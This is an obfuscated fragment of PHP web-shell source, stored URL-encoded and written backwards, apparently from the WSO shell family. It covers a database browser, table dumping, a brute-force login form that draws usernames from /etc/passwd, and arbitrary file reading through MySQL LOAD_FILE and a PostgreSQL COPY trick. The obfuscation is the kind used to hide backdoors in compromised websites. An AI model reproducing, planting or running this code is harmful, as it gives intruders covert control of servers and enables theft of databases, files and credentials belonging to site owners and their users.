27%5BTSOP_%24%29tni%28%28+.+%22%3Deulav+%273p%27%3Deman+txet%3Depyt+tupni%3C+%23+egaP+%29sdrocer+%7D%5D%27n%27%5Bmun%24%7B%28+%3Enaps%2F%3C%22.%5D%272p%27%5BTSOP_%24.%22%3Enaps%3C%3Etpircs%2F%3C%7D%29eulav.3p.fs.d+%2C%22%5C%22+.+%5D%272p%27%5BTSOP_%24+.+%22%22%5C%28ts%7B%29%28noitcnuf%3Dtimbusno.fs.d%3Etpircs%3C%22+ohce++++++++++++++++++++%0D%0A%3B%2903+%2F+%5D%27n%27%5Bmun%24%28liec+%3D+segap%24%09%09%09%09%09%0D%0A%3B%29%28hctef%3E-bd%24+%3D+mun%24%09%09%09%09%09%0D%0A%3B%29%5D%272p%27%5BTSOP_%24+.+%27+MORF+n+sa+%29%2A%28TNUOC+TCELES%27%28yreuq%3E-bd%24%09%09%09%09%09%0D%0A%3B1%3A%5D%273p%27%5BTSOP_%24%3F%5D%273p%27%5BTSOP_%24+%3D+%5D%273p%27%5BTSOP_%24++++++++++++++++++++%0D%0A%3B%27yreuq%27+%3D+%5D%271p%27%5BTSOP_%24%09%09%09%09%09%0D%0A%7B+%29%27tceles%27+%3D%3D+%5D%271p%27%5BTSOP_%24%40%28fi%09%09%09%09%0D%0A%3B%22%3E%27%3B666%23+dilos+xp2%3Apot-redrob%27%3Delyts+dt%3C%3Edt%2F%3C%3E%27lqs.pmud%27%3Deulav+elif%3Deman+txet%3Depyt+tupni%3C%3Ahtap+eliF%3Erb%3C%3E%27%3B%29%28timbus.fs.tnemucod%3B%22%5Cdaolnwod%22%5C%3Deulav.2p.fs.tnemucod%27%3Dkcilcno+%27pmuD%27%3Deulav+nottub%3Depyt+tupni%3C+%3E%27%3B%29%28si%27%3Dkcilcno+%27xobkcehc%27%3Depyt+tupni%3C%22+ohce%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%22%3Erb%3C%3Erbon%2F%3C%22+.+%29%22%3Ellams%2F%3C%29%7D%5D%27n%27%5Bn%24%7B%28%3Ellams%3C+%22%3A%27%3Bpsbn%26%27%3F%29%5D%27tnuoc_lqs%27%5BTSOP_%24%28ytpme%28+.+%22%3Ea%2F%3C%22.eulav%24.%22%3E%22%5C%291%2C%27%22.eulav%24.%22%27%28ts%22%5C%3Dkcilcno+%23%3Dferh+a%3C%3Bpsbn%26%3E%27%22.eulav%24.%22%27%3Deulav+%27%5D%5Blbt%27%3Deman+%27xobkcehc%27%3Depyt+tupni%3C%3Erbon%3C%22+ohce%09%09%09%09%09%0D%0A%3B%29eulav%24%28srahclaicepslmth+%3D+eulav%24%09%09%09%09%09%0D%0A%3B%29%29%27%27.eulav%24.%27+MORF+n+sa+%29%2A%28TNUOC+TCELES%27%28yreuq%3E-bd%24%28hctef%3E-bd%24+%3D+n%24++++++++++++++++++++++++%0D%0A%29%29%5D%27tnuoc_lqs%27%5BTSOP_%24%28ytpme%21%28fi++++++++++++++++++++%0D%0A%3B%29meti%24%28hcae+%3D+%29eulav%24+%2Cyek%24%28tsil%09%09%09%09%09%0D%0A%7B+%29%29ser_slbt%24%28hctef%3E-bd%24+%3D+meti%24%28elihw%09%09%09%09%0D%0A%3B%29%28selbaTtsil%3E-bd%24+%3D+ser_slbt%24%09%09%09%09%0D%0A%3B%22%3Erb%3C%3Erb%3C%3Enaps%2F%3C%3AselbaT%3Enaps%3C%3E%27%3B666%23+dilos+xp2%3Apot-redrob%27%3Delyts+1%3Dhtdiw+dt%3C%3Ert%3C%22+ohce%09%09%09%09%0D%0A%3B%29%5D%27esab_lqs%27%5BTSOP_%24%28bdtceles%3E-bd%24%09%09%09%09%0D%0A%7B%29%29%5D%27esab_lqs%27%5BTSOP_%24%28ytpme%21%28fi%09%09%09%0D%0A%3B%22%3E0%3Dgnicapsllec+2%3Dgniddapllec+%25001%3Dhtdiw+elbat%3C%3E%2Frb%3C%22+ohce%09%09%0D%0A%7B%29knil%3E-bd%24+%26%26+%29bd%24%28tessi%28fi%09%0D%0A%3B%22%3Etpircs%2F%3C%09%09%0D%0A%7D%09%09%09%0D%0A%3Bdekcehc.%5Di%5B%5D%27%5D%5Blbt%27%5Bstnemele.fs.d%21+%3D+dekcehc.%5Di%5B%5D%27%5D%5Blbt%27%5Bstnemele.fs.d%09%09%09%09%09%0D%0A%29i%2B%2B%3Bhtgnel.%5D%27%5D%5Blbt%27%5Bstnemele.fs.d%3Ci%3B0%3Di%28rof%09%09%09%09%0D%0A%7B+%29%28si+noitcnuf%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29%28timbus.fs.d%09%09%09%09%0D%0A%3Bl+%3D+eulav.3p.fs.d+%293p.fs.d+%26%26+l%28fi++++++++++++++++%0D%0A%3Bt+%3D+eulav.2p.fs.d%09%09%09%09%0D%0A%3B%27tceles%27+%3D+eulav.1p.fs.d%09%09%09%09%0D%0A%7B+%29l%2Ct%28ts+noitcnuf%09%09%09%0D%0A%7D++++++++++++%0D%0A%7D++++++++++++++++%0D%0A%3B%27%27%3Deulav.3p.f+%293p.f%28fi++++++++++++++++++++%0D%0A%3B%27%27%3Deulav.2p.f+%292p.f%28fi++++++++++++++++++++%0D%0A%3B%27%27%3Deulav.1p.f+%291p.f%28fi++++++++++++++++++++%0D%0A%3B%7D%7B+%29%28noitcnuf+%3D+timbusno.f+%7B+%29bd_s%3D%21eulav.esab_lqs.f%28fi++++++++++++++++%0D%0A%7B+%29f%28sf+noitcnuf++++++++++++%0D%0A%3B%27%22.%29%5D%27esab_lqs%27%5BTSOP_%24%28sehsalsdda%40.%22%27%3Dbd_s++++++++++++%0D%0A%3Etpircs%3C%09%09%0D%0A%3Eelbat%2F%3C%09%09%0D%0A%3Ert%2F%3C%09%09%09%0D%0A%3Edt%2F%3Cswor+fo+rebmun+eht+tnuoc+%3E%22+.+%29%27dekcehc+%27%3A%27%27%3F%29%5D%27tnuoc_lqs%27%5BTSOP_%24%28ytpme%28+.+%22%27no%27%3Deulav+tnuoc_lqs%3Deman+xobkcehc%3Depyt+tupni%3C%3Edt%3C++++++++++++++++%0D%0A%3Edt%2F%3C%3E%27%3B%29fs.d%28sf%27%3Dkcilcno+%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Edt%3C%09%09%09%09%0D%0A%3Edt%2F%3C%22+ohce%09%0D%0A%3Bpmt%24+ohce%09%09%0D%0Aesle%7D%09%0D%0A%3Bpmt%24+ohce+esle%09%09%0D%0A%7D%09%09%0D%0A%3B%27%3Etceles%2F%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%27%3Enoitpo%2F%3C%27.eulav%24.%27%3E%27.%29%27%27%3A%27detceles%27%3F%5D%27esab_lqs%27%5BTSOP_%24%3D%3Deulav%24%28.%27+%22%27.eulav%24.%27%22%3Deulav+noitpo%3C%27+ohce%09%09%09%09%0D%0A%3B%29meti%24%28hcae+%3D+%29eulav%24+%2Cyek%24%28tsil%09%09%09%09%0D%0A%7B+%29%29%28hctef%3E-bd%24+%3D+meti%24%28elihw%09%09%09%0D%0A%3B%22%3Enoitpo%2F%3C%3E%27%27%3Deulav+noitpo%3C%3Eesab_lqs%3Deman+tceles%3C%22+ohce%09%09%09%0D%0A%3B%29%28sbDtsil%3E-bd%24%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb+%3B%29%27668pc%27%28tesrahCtes%3E-bd%24+%3A%22668pc%22+esac%09%09%09%09%0D%0A%3Bkaerb+%3B%29%27u8iok%27%28tesrahCtes%3E-bd%24+%3A%22U-8IOK%22+esac%09%09%09%09%0D%0A%3Bkaerb+%3B%29%27r8iok%27%28tesrahCtes%3E-bd%24+%3A%22R-8IOK%22+esac%09%09%09%09%0D%0A%3Bkaerb+%3B%29%278ftu%27%28tesrahCtes%3E-bd%24+%3A%228-FTU%22+esac%09%09%09%09%0D%0A%3Bkaerb+%3B%29%271521pc%27%28tesrahCtes%3E-bd%24+%3A%221521-swodniW%22+esac%09%09%09%09%0D%0A%7B+%29%5D%27tesrahc%27%5BTSOP_%24%28hctiws%09%09%09%0D%0A%7B+%29%29%5D%27esab_lqs%27%5BTSOP_%24+%2C%5D%27ssap_lqs%27%5BTSOP_%24+%2C%5D%27nigol_lqs%27%5BTSOP_%24+%2C%5D%27tsoh_lqs%27%5BTSOP_%24%28tcennoc%3E-bd%24%28fi%09%09%0D%0A%7B%29%29%5D%27tsoh_lqs%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%3B%22%3E%27%27%3Deulav+esab_lqs%3Deman+txet%3Depyt+tupni%3C%22+%3D+pmt%24%09%0D%0A%3B%22%3Edt%3C%3Edt%2F%3C%3E%22%5C%22.+%29%29%5D%27ssap_lqs%27%5BTSOP_%24%28srahclaicepslmth%3A%27%27%3F%29%5D%27ssap_lqs%27%5BTSOP_%24%28ytpme%28+.%22%22%5C%3Deulav+ssap_lqs%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%0D%0A%3Edt%2F%3C%3E%22%5C%22.+%29%29%5D%27nigol_lqs%27%5BTSOP_%24%28srahclaicepslmth%3A%27toor%27%3F%29%5D%27nigol_lqs%27%5BTSOP_%24%28ytpme%28+.%22%22%5C%3Deulav+nigol_lqs%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%0D%0A%3Edt%2F%3C%3E%22%5C%22.+%29%29%5D%27tsoh_lqs%27%5BTSOP_%24%28srahclaicepslmth%3A%27tsohlacol%27%3F%29%5D%27tsoh_lqs%27%5BTSOP_%24%28ytpme%28+.%22%22%5C%3Deulav+tsoh_lqs%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%0D%0A%3Edt%2F%3C%3Etceles%2F%3C%3Enoitpo%2F%3ClqSergtsoP%3E%22+ohce%0D%0A%3B%27detceles%27+ohce%29%27lqsgp%27%3D%3D%5D%27epyt%27%5BTSOP_%24%40%28fi%0D%0A%3B%22+%27lqsgp%27%3Deulav+noitpo%3C%3Enoitpo%2F%3ClqSyM%3E%22+ohce%0D%0A%3B%27detceles%27+ohce%29%27lqsym%27%3D%3D%5D%27epyt%27%5BTSOP_%24%40%28fi++++%0D%0A%3B%22+%27lqsym%27%3Deulav+noitpo%3C%3E%27epyt%27%3Deman+tceles%3C%3Edt%3C%0D%0A%3E%27%22.+%29%27%27%3A%5D%27tesrahc%27%5BTSOP_%24%3F%29%5D%27tesrahc%27%5BTSOP_%24%28tessi%28+.%22%27%3Deulav+tesrahc%3Deman+neddih%3Depyt+tupni%3C%3E%27%22.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.%22%27%3Deulav+c%3Deman+neddih%3Depyt+tupni%3C%3E%27%27%3Deulav+2p%3Deman+neddih%3Depyt+tupni%3C%3E%27yreuq%27%3Deulav+1p%3Deman+neddih%3Depyt+tupni%3C%3ElqS%3Deulav+a%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3Ert%3C%3Ert%2F%3C%3Edt%2F%3C%3Edt%3C%3Edt%2F%3CesabataD%3Edt%3C%3Edt%2F%3CdrowssaP%3Edt%3C%3Edt%2F%3CnigoL%3Edt%3C%3Edt%2F%3CtsoH%3Edt%3C%3Edt%2F%3CepyT%3Edt%3C%0D%0A%3Ert%3C%3E%270%27%3Dgnicapsllec+%272%27%3Dgniddapllec+elbat%3C%3E%27%3B%29siht%28sf%27%3Dtimbusno+%27tsop%27%3Ddohtem+%27fs%27%3Deman+mrof%3C%0D%0A%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Cresworb+lqS%3E1h%3C%0D%0A%22+ohce%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7D%09%0D%0A%3B%29%27%3Etpircs%2F%3C%291-%28kcab.yrotsih.wodniw%3B%29%22elif+nepo+t%27%5CnaC+%21rorrE%22%28trela%3Etpircs%3C%27%28eid++++++++++++%0D%0Aesle+%7D++++++++%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28tesnu++++++++++++%0D%0A%3B%29pf%24%28esolcf++++++++++++%0D%0A%3B%29pf%24+%2Cv%24%28pmud%3E-bd%24++++++++++++++++%0D%0A%29v%24+sa+%5D%27lbt%27%5BTSOP_%24%28hcaerof++++++++++++%0D%0A%7B+%29%29%27w%27+%2C%5D%27elif%27%5BTSOP_%24%28nepof%40+%3D+pf%24%28fiesle+%7D++++++++%0D%0A%3Btixe++++++++++++%0D%0A%3B%29v%24%28pmud%3E-bd%24%09%09%09%09%0D%0A%29v%24+sa+%5D%27lbt%27%5BTSOP_%24%28hcaerof++++++++++++%0D%0A%3B%29%22nialp%2Ftxet+%3AepyT-tnetnoC%22%28redaeh++++++++++++%0D%0A%3B%29%22lqs.pmud%3Demanelif+%3Btnemhcatta+%3AnoitisopsiD-tnetnoC%22%28redaeh++++++++++++%0D%0A%3B%296904+%2C%22reldnahzg_bo%22%28trats_bo++++++++++++%0D%0A%7B+%29%29%5D%27elif%27%5BTSOP_%24%28ytpme%28fi++++++++%0D%0A%7D++++++++%0D%0A%3Bkaerb+%3B%29%27668pc%27%28tesrahCtes%3E-bd%24+%3A%22668pc%22+esac++++++++++++%0D%0A%3Bkaerb+%3B%29%27u8iok%27%28tesrahCtes%3E-bd%24+%3A%22U-8IOK%22+esac++++++++++++%0D%0A%3Bkaerb+%3B%29%27r8iok%27%28tesrahCtes%3E-bd%24+%3A%22R-8IOK%22+esac++++++++++++%0D%0A%3Bkaerb+%3B%29%278ftu%27%28tesrahCtes%3E-bd%24+%3A%228-FTU%22+esac++++++++++++%0D%0A%3Bkaerb+%3B%29%271521pc%27%28tesrahCtes%3E-bd%24+%3A%221521-swodniW%22+esac++++++++++++%0D%0A%7B+%29%5D%27tesrahc%27%5BTSOP_%24%28hctiws++++++++%0D%0A%3B%29%5D%27esab_lqs%27%5BTSOP_%24%28bdtceles%3E-bd%24%09%09%0D%0A%3B%29%5D%27esab_lqs%27%5BTSOP_%24+%2C%5D%27ssap_lqs%27%5BTSOP_%24+%2C%5D%27nigol_lqs%27%5BTSOP_%24+%2C%5D%27tsoh_lqs%27%5BTSOP_%24%28tcennoc%3E-bd%24%09%09%0D%0A%7B+%29%29%27tceles%27%3D%21%5D%271p%27%5BTSOP_%24%40%28+%26%26+%29%27daolnwod%27%3D%3D%5D%272p%27%5BTSOP_%24%40%28%28fi%09%0D%0A%3B%29%5D%27epyt%27%5BTSOP_%24%28ssalCbD+wen+%3D+bd%24%09%0D%0A%3B%7D%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29lqs%24%28ohce+esle+%3B%29lqs%24+%2Cpf%24%28etirwf+%29pf%24%28fi++++++++++++++++++++++++%0D%0A%3B%22n%5C%22.%27%3B%29%27.%29meti%24+%2C%22+%2C%22%28edolpmi.%27%28+SEULAV+%29%27.%29snmuloc%24+%2C%22+%2C%22%28edolpmi.%27%28+%27.elbat%24.%27+OTNI+TRESNI%27+%3D+lqs%24++++++++++++++++++++++++%0D%0A%7D%09%09%09%09%09%09%0D%0A%3Bk%24+%3D+%5D%5Bsnmuloc%24%09%09%09%09%09%09%09%0D%0A%3B%22%27%22.%29v%24%28sehsalsdda.%22%27%22+%3D+%5Dk%24%5Bmeti%24%09%09%09%09%09%09%09%0D%0A%7B+%29v%24%3E%3Dk%24+sa+meti%24%28hcaerof%09%09%09%09%09%09%0D%0A%3B%29%28yarra+%3D+snmuloc%24%09%09%09%09%09%09%0D%0A%7B+%29%29%28hctef%3E-siht%24+%3D+meti%24%28elihw%09%09%09%09%09%0D%0A%3B%29elbat%24.%27+MORF+%2A+TCELES%27%28yreuq%3E-siht%24%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%22n%5Cn%5C%3B%22%28ohce+esle+%3B%29%22n%5Cn%5C%3B%22+%2Cpf%24%28etirwf+%29pf%24%28fi++++++++++++++++++++++++%0D%0A%29daeh%24%21%28fi++++++++++++++++++++%0D%0A%7D%09%09%09%09%09%0D%0A%3B%2B%2Bi%24++++++++++++++++++++++++%0D%0A%3B%29lqs%24%28ohce+esle+%3B%29lqs%24+%2Cpf%24%28etirwf+%29pf%24%28fi++++++++++++++++++++++++%0D%0A%3B%27%29%27.%29meti%24+%2C%22+%2C%22%28edolpmi.%22%28%2Ct%5Cn%5C%22+%3D.+lqs%24++++++++++++++++++++++++++++%0D%0Aesle+%7D++++++++++++++++++++++++%0D%0A%3Beslaf+%3D+daeh%24++++++++++++++++++++++++++++%0D%0A%3B%27%29%27.%29meti%24+%2C%22+%2C%22%28edolpmi.%22%28t%5Cn%5C+SEULAV+%29%22.%29snmuloc%24+%2C%22+%2C%22%28edolpmi.%27%28+%60%27.elbat%24.%27%60+OTNI+TRESNI%27+%3D.+lqs%24++++++++++++++++++++++++++++%0D%0A%7B+%29daeh%24%28fi++++++++++++++++++++++++%0D%0A%7D%09%09%09%09%09%09%0D%0A%3B%22%60%22.k%24.%22%60%22+%3D+%5D%5Bsnmuloc%24%09%09%09%09%09%09%09%0D%0A%3B%22%27%22.%29v%24%28gnirts_epacse_laer_lqsym%40.%22%27%22+%3D+%5Dk%24%5Bmeti%24++++++++++++++++++++++++++++++++%0D%0Aesle++++++++++++++++++++++++++++%0D%0A%3Bv%24+%3D+%5Dk%24%5Bmeti%24++++++++++++++++++++++++++++++++%0D%0A%29%29v%24%28tni_si%28fiesle++++++++++++++++++++++++++++%0D%0A%3B%22LLUN%22+%3D+%5Dk%24%5Bmeti%24++++++++++++++++++++++++++++++++%0D%0A%29llun+%3D%3D%3D+v%24%28fi++++++++++++++++++++++++++++%0D%0A%7B+%29v%24%3E%3Dk%24+sa+meti%24%28hcaerof%09%09%09%09%09%09%0D%0A%3B%29%28yarra+%3D+snmuloc%24%09%09%09%09%09%09%0D%0A%0D%0A%7D++++++++++++++++++++++++%0D%0A%3B%22n%5Cn%5C%3B%22+%3D+lqs%24++++++++++++++++++++++++++++%0D%0A%3Beurt+%3D+daeh%24++++++++++++++++++++++++++++%0D%0A%7B+%290+%3D%3D+0001+%25+i%24%28fi++++++++++++++++++++++++%0D%0A%3B%27%27+%3D+lqs%24++++++++++++++++++++++++%0D%0A%7B+%29%29%28hctef%3E-siht%24+%3D+meti%24%28elihw%09%09%09%09%09%0D%0A%3Beurt+%3D+daeh%24++++++++++++++++++++%0D%0A%3B0+%3D+i%24++++++++++++++++++++%0D%0A%3B%29%27%60%27.elbat%24.%27%60+MORF+%2A+TCELES%27%28yreuq%3E-siht%24%09%09%09%09%09%0D%0A%3B%29lqs%24%28ohce+esle+%3B%29lqs%24+%2Cpf%24%28etirwf+%29pf%24%28fi++++++++++++++++++++%0D%0A%3B%22n%5C%3B%22.%5D1%5Betaerc%24+%3D+lqs%24%09%09%09%09%09%0D%0A%3B%29ser%24%28yarra_hctef_lqsym+%3D+etaerc%24%09%09%09%09%09%0D%0A%3B%29%27%60%27.elbat%24.%27%60+ELBAT+ETAERC+WOHS%27%28yreuq%3E-siht%24+%3D+ser%24%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29eslaf+%3D+pf%24+%2Celbat%24%28pmud+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%29r%24%2C%22n%5C%22%28edolpmi%3E%3D%27elif%27%28yarra+nruter%09%09%09%09%09%0D%0A%3B%29%272osw+elbat+pord%27%28yreuq%3E-siht%24%09%09%09%09%09%0D%0A%3B%5D%27elif%27%5Bi%24+%3D+%5D%5Br%24%09%09%09%09%09%09%0D%0A%29%29%28hctef%3E-siht%24%3Di%24%28elihw%09%09%09%09%09%0D%0A%3B%29%28yarra%3Dr%24%09%09%09%09%09%0D%0A%3B%29%22%3B2osw+morf+elif+tceles%3B%27%22.%29rts%24%28sehsalsdda.%22%27+MORF+2osw+YPOC%3B%29txet+elif%282osw+ELBAT+ETAERC%22%28yreuq%3E-siht%24%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%29%22elif+sa+%29%27%22.%29rts%24%28sehsalsdda.%22%27%28ELIF_DAOL+TCELES%22%28yreuq%3E-siht%24%28hctef%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29rts%24%28eliFdaol+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29rts%24+%2Cknil%3E-siht%24%28gnidocne_tneilc_tes_gp%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29rts%24.%27+TESRAHC+TES%27%28yreuq%3E-siht%24%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%0D%0A%3B%29knil%3E-siht%24+%2Crts%24%28tesrahc_tes_lqsym%40+nruter%09%09%09%09%09%09%0D%0A%29%29%27tesrahc_tes_lqsym%27%28stsixe_noitcnuf%28fi%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29rts%24%28tesrahCtes+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%28rorre_tsal_gp%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%28rorre_lqsym%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29%28rorre+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%22%27golatac_gp%27+%3D%21+amehcs_elbat+DNA+%27amehcs_noitamrofni%27+%3D%21+amehcs_elbat+erehw+selbat.amehcs_noitamrofni+morf+eman_elbat+tceles%22%28yreuq%3E-siht%24+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%27SELBAT+WOHS%27%28yreuq%3E-siht%24+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29%28selbaTtsil+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%22%27t%27%3D%21etalpmetsitad+EREHW+esabatad_gp+MORF+emantad+TCELES%22%28yreuq%3E-siht%24+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%22sesabatad+WOHS%22%28yreuq%3E-siht%24+nruter++++++++++++++++++++++++%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29%28sbDtsil+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29ser%24%28cossa_hctef_gp%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29ser%24%28cossa_hctef_lqsym%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%3Bser%3E-siht%24%3A%290%28gra_teg_cnuf%3F%29%28sgra_mun_cnuf+%3D+ser%24%09%09%09%0D%0A%7B+%29%28hctef+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29rts%24%2Cknil%3E-siht%24%28yreuq_gp%40+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29rts%24%28yreuq_lqsym%40+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B+%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29rts%24%28yreuq+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3Beurt+nruter%29%29bd%24%28bd_tceles_lqsym%40%28+fi%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29bd%24%28bdtceles+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3Beurt+nruter+%29+%29%22emanbd%24%3Demanbd+ssap%24%3Ddrowssap+resu%24%3Dresu+%7D%5D1%5Btsoh%24%7B%3Dtrop+%7D%5D0%5Btsoh%24%7B%3Dtsoh%22%28tcennoc_gp%40+%3D+knil%3E-siht%24+%28fi%09%09%09%09%09%0D%0A%3B2345%3D%5D1%5Btsoh%24+%29%5D1%5Btsoh%24%21%28fi%09%09%09%09%09%0D%0A%3B%29tsoh%24+%2C%27%3A%27%28edolpxe+%3D+tsoh%24%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3Beurt+nruter+%29+%29eurt%2Cssap%24%2Cresu%24%2Ctsoh%24%28tcennoc_lqsym%40+%3D+knil%3E-siht%24+%28fi%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B%29emanbd%24+%2Cssap%24+%2Cresu%24+%2Ctsoh%24%28tcennoc+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Bepyt%24+%3D+epyt%3E-siht%24%09%09%09%0D%0A%7B%09%29epyt%24%28ssalCbD+noitcnuf%09%09%0D%0A%3Bser%24+rav%09%09%0D%0A%3Bknil%24+rav%09%09%0D%0A%3Bepyt%24+rav%09%09%0D%0A%7B+ssalCbD+ssalc%09%0D%0A%7B+%29%28lqSnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Erb%3C%3Evid%2F%3C%27+ohce%09%0D%0A%3B%27%3Eelbat%2F%3C%3Emrof%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%3Ert%2F%3C%3Edt%2F%3C%27.%09%09%0D%0A%27%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E%22cid.dwssap%27.%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth.%27%22%3Deulav+tcid%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3CyranoitciD%3Enaps%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3E%22toor%22%3Deulav+nigol%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3CnigoL%3Enaps%3C%3Edt%3C%3Ert%3C%3E%22xp51%3Atfel-gniddap%22%3Delyts+elbat%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3Elebal%2F%3CyranoitciD+%3E%222%22%3Deulav+epyt%3Deman+oidar%3Depyt+tupni%3C%3Elebal%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3Elebal%2F%3C%29login+%3E-+nigol%28+esrever+%3Edekcehc+1%3Deulav+esrever%3Deman+xobkcehc%3Depyt+tupni%3C%3E%22xp51%3Atfel-gniddap%22%3Delyts+lebal%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3Elebal%2F%3Cdwssap%2Fcte%2F+%3Edekcehc+%221%22%3Deulav+epyt%3Deman+oidar%3Depyt+tupni%3C%3Elebal%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3Cepyt+eturB%3Enaps%3C%3E